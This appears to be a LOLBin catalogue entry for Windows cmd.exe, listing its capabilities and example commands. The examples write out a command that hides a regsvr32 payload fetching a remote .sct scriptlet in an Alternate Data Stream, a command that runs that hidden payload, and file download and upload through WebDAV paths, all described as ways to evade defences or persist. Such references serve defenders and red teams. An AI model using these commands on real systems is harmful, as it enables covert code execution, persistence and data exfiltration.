windows enabled community medium v1.0.0

cmd

The command-line interpreter in Windows Located at: C:\Windows\System32\cmd.exe; C:\Windows\SysWOW64\cmd.exe.

📋 Live Preview
cmd
cmd

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.alternate-data-stream
network.transfer.download
network.transfer.upload

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writenetwork_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Add content to an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Execute payload.bat stored in an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)

cmd.exe - < {PATH}:payload.bat

Downloads a specified file from a WebDAV server to the target file. (Download/copy a file from a WebDAV server)

type {PATH_SMB} > {PATH_ABSOLUTE}

Uploads a specified file to a WebDAV server. (Upload a file to a WebDAV server)

type {PATH_ABSOLUTE} > {PATH_SMB}

Detection

Documentation

cmd

cmd is a Windows LOLBin. The command-line interpreter in Windows Located at: C:\Windows\System32\cmd.exe; C:\Windows\SysWOW64\cmd.exe.

References